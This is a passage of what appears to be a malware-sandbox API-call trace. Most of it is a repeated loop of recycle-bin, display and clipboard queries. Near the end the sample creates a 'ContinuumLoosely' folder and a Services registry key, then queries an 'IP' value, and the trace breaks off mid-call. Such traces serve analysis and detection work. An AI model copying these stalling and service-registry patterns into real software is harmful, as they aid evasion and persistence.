[0029.960] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.961] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.961] GetDC (hWnd=0x0) returned 0x1010858 [0029.961] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.961] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.961] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.961] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.961] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.961] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.961] GetQueueStatus (flags=0x0) returned 0x0 [0029.961] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.962] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.962] GetDC (hWnd=0x0) returned 0x1010858 [0029.962] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.962] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.962] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.962] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.962] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.962] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.962] GetQueueStatus (flags=0x0) returned 0x0 [0029.962] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.963] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.963] GetDC (hWnd=0x0) returned 0x1010858 [0029.963] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.963] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.963] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.963] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.963] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.963] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.963] GetQueueStatus (flags=0x0) returned 0x0 [0029.963] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.964] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.964] GetDC (hWnd=0x0) returned 0x1010858 [0029.964] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.964] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.964] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.964] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.964] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.964] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.964] GetQueueStatus (flags=0x0) returned 0x0 [0029.964] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.965] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.965] GetDC (hWnd=0x0) returned 0x1010858 [0029.965] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.965] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.965] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.965] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.965] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.965] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.965] GetQueueStatus (flags=0x0) returned 0x0 [0029.965] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.966] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.966] GetDC (hWnd=0x0) returned 0x1010858 [0029.966] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.966] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.966] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.966] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.966] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.966] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.966] GetQueueStatus (flags=0x0) returned 0x0 [0029.966] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.967] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.967] GetDC (hWnd=0x0) returned 0x1010858 [0029.967] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.967] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.967] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.967] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.967] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.967] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.967] GetQueueStatus (flags=0x0) returned 0x0 [0029.967] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.968] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.968] GetDC (hWnd=0x0) returned 0x1010858 [0029.968] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.968] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.968] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.968] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.968] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.968] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.968] GetQueueStatus (flags=0x0) returned 0x0 [0029.968] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.969] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.969] GetDC (hWnd=0x0) returned 0x1010858 [0029.969] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.969] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.969] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.969] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.969] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.969] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.969] GetQueueStatus (flags=0x0) returned 0x0 [0029.969] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.970] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.970] GetDC (hWnd=0x0) returned 0x1010858 [0029.970] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.970] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.970] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.970] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.970] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.970] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.970] GetQueueStatus (flags=0x0) returned 0x0 [0029.970] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.971] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.971] GetDC (hWnd=0x0) returned 0x1010858 [0029.971] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.971] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.971] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.971] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.971] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xfc) returned 0x202fd68 [0029.971] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202fcb8 | out: hHeap=0x2020000) returned 1 [0029.971] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.971] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.971] GetQueueStatus (flags=0x0) returned 0x0 [0029.971] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.972] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.972] GetDC (hWnd=0x0) returned 0x1010858 [0029.972] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.972] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.972] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.972] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.972] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.972] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.972] GetQueueStatus (flags=0x0) returned 0x0 [0029.972] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.973] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.973] GetDC (hWnd=0x0) returned 0x1010858 [0029.973] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.973] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.973] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.973] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.973] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.973] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.973] GetQueueStatus (flags=0x0) returned 0x0 [0029.973] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.974] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.974] GetDC (hWnd=0x0) returned 0x1010858 [0029.974] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.974] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.974] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.974] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.974] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.974] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.974] GetQueueStatus (flags=0x0) returned 0x0 [0029.974] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.975] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.975] GetDC (hWnd=0x0) returned 0x1010858 [0029.975] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.975] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.975] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.975] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.975] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.975] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.975] GetQueueStatus (flags=0x0) returned 0x0 [0029.975] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.976] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.976] GetDC (hWnd=0x0) returned 0x1010858 [0029.976] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.976] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.976] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.976] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.976] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.976] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.976] GetQueueStatus (flags=0x0) returned 0x0 [0029.976] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.977] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.977] GetDC (hWnd=0x0) returned 0x1010858 [0029.977] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.977] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.977] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.977] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.977] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.977] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.977] GetQueueStatus (flags=0x0) returned 0x0 [0029.977] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.978] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.978] GetDC (hWnd=0x0) returned 0x1010858 [0029.978] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.978] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.978] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.978] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.978] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.978] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.978] GetQueueStatus (flags=0x0) returned 0x0 [0029.978] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.979] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.979] GetDC (hWnd=0x0) returned 0x1010858 [0029.979] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.979] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.979] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.979] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.979] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.979] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.979] GetQueueStatus (flags=0x0) returned 0x0 [0029.979] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.980] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.980] GetDC (hWnd=0x0) returned 0x1010858 [0029.980] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.980] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.980] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.980] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.980] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.980] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.980] GetQueueStatus (flags=0x0) returned 0x0 [0029.980] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.981] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.981] GetDC (hWnd=0x0) returned 0x1010858 [0029.981] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.981] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.981] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.981] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.981] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.981] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.981] GetQueueStatus (flags=0x0) returned 0x0 [0029.981] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.982] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.982] GetDC (hWnd=0x0) returned 0x1010858 [0029.982] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.982] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.982] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.982] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.982] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.982] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.982] GetQueueStatus (flags=0x0) returned 0x0 [0029.982] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.983] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.983] GetDC (hWnd=0x0) returned 0x1010858 [0029.983] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.983] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.983] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.983] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.983] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.983] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.983] GetQueueStatus (flags=0x0) returned 0x0 [0029.983] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.984] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.984] GetDC (hWnd=0x0) returned 0x1010858 [0029.984] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.984] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.984] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.984] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.984] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.984] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.984] GetQueueStatus (flags=0x0) returned 0x0 [0029.984] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.985] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.985] GetDC (hWnd=0x0) returned 0x1010858 [0029.985] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.985] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.985] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.985] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.985] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.985] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.985] GetQueueStatus (flags=0x0) returned 0x0 [0029.985] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.986] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.986] GetDC (hWnd=0x0) returned 0x1010858 [0029.986] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.986] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.986] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.986] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.986] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.986] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.986] GetQueueStatus (flags=0x0) returned 0x0 [0029.986] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.987] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.987] GetDC (hWnd=0x0) returned 0x1010858 [0029.987] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.987] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.987] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.987] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.987] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.987] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.987] GetQueueStatus (flags=0x0) returned 0x0 [0029.987] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.988] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.988] GetDC (hWnd=0x0) returned 0x1010858 [0029.988] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.988] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.988] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.988] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.988] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.988] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.988] GetQueueStatus (flags=0x0) returned 0x0 [0029.989] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.989] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.989] GetDC (hWnd=0x0) returned 0x1010858 [0029.989] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.989] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.989] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.989] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.989] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.989] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.989] GetQueueStatus (flags=0x0) returned 0x0 [0029.989] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.990] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.990] GetDC (hWnd=0x0) returned 0x1010858 [0029.990] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.990] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.990] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.990] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.990] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.990] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.990] GetQueueStatus (flags=0x0) returned 0x0 [0029.990] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.991] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.991] GetDC (hWnd=0x0) returned 0x1010858 [0029.991] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.991] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.991] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.991] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.991] GetPriorityClipboardFormat (paFormatPriorityList=0x0, cFormats=0) returned -1 [0029.991] SHQueryRecycleBinA (in: pszRootPath=0x0, pSHQueryRBInfo=0x18f8b4 | out: pSHQueryRBInfo=0x18f8b4) returned 0x0 [0029.991] GetQueueStatus (flags=0x0) returned 0x0 [0029.991] SHEmptyRecycleBinA (hwnd=0x0, pszRootPath=0x0, dwFlags=0x7) returned 0x8000ffff [0029.992] GetWindowLongA (hWnd=0x0, nIndex=-21) returned 0 [0029.992] GetDC (hWnd=0x0) returned 0x1010858 [0029.992] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0029.992] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0029.992] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0029.992] MulDiv (nNumber=8, nNumerator=96, nDenominator=96) returned 8 [0029.992] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202fd68 | out: hHeap=0x2020000) returned 1 [0029.992] GetLastError () returned 0x578 [0029.992] CreateDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely"), lpSecurityAttributes=0x0) returned 1 [0029.996] GetLastError () returned 0x578 [0029.996] RegCreateKeyA (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\ContinuumLoosely\\Config", phkResult=0x18fd78 | out: phkResult=0x18fd78*=0x28c) returned 0x0 [0029.998] RegQueryValueExA (in: hKey=0x28c, lpValueName="IP", lpReserved=0x0, lpType=0x0, lpData=0x580940, lpcbData=0x18f560*=0x400 | out: lpType=0x0, lpData=0x580940*=0x0, lpcbData=0x18f560*=0x400) returned 0x2 [0029.998] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x20211f8 | out: hHeap=0x2020000) returned 1 [0029.998] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021448 | out: hHeap=0x2020000) returned 1 [0029.998] GetLastError () returned 0x578 [0029.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f640 | out: lpSystemTimeAsFileTime=0x18f640*(dwLowDateTime=0x56226a20, dwHighDateTime=0x1d5b994)) [0029.998] GetLastError () returned 0x578 [0029.998] GetTimeZoneInformation (in: lpTimeZoneInformation=0x57f490 | out: lpTimeZoneInformation=0x57f490) returned 0x2 [0029.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x5785e0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f578 | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18f578) returned 26 [0029.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x578620, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f578 | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18f578) returned 26 [0029.999] GetLastError () returned 0x0 [0030.000] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS 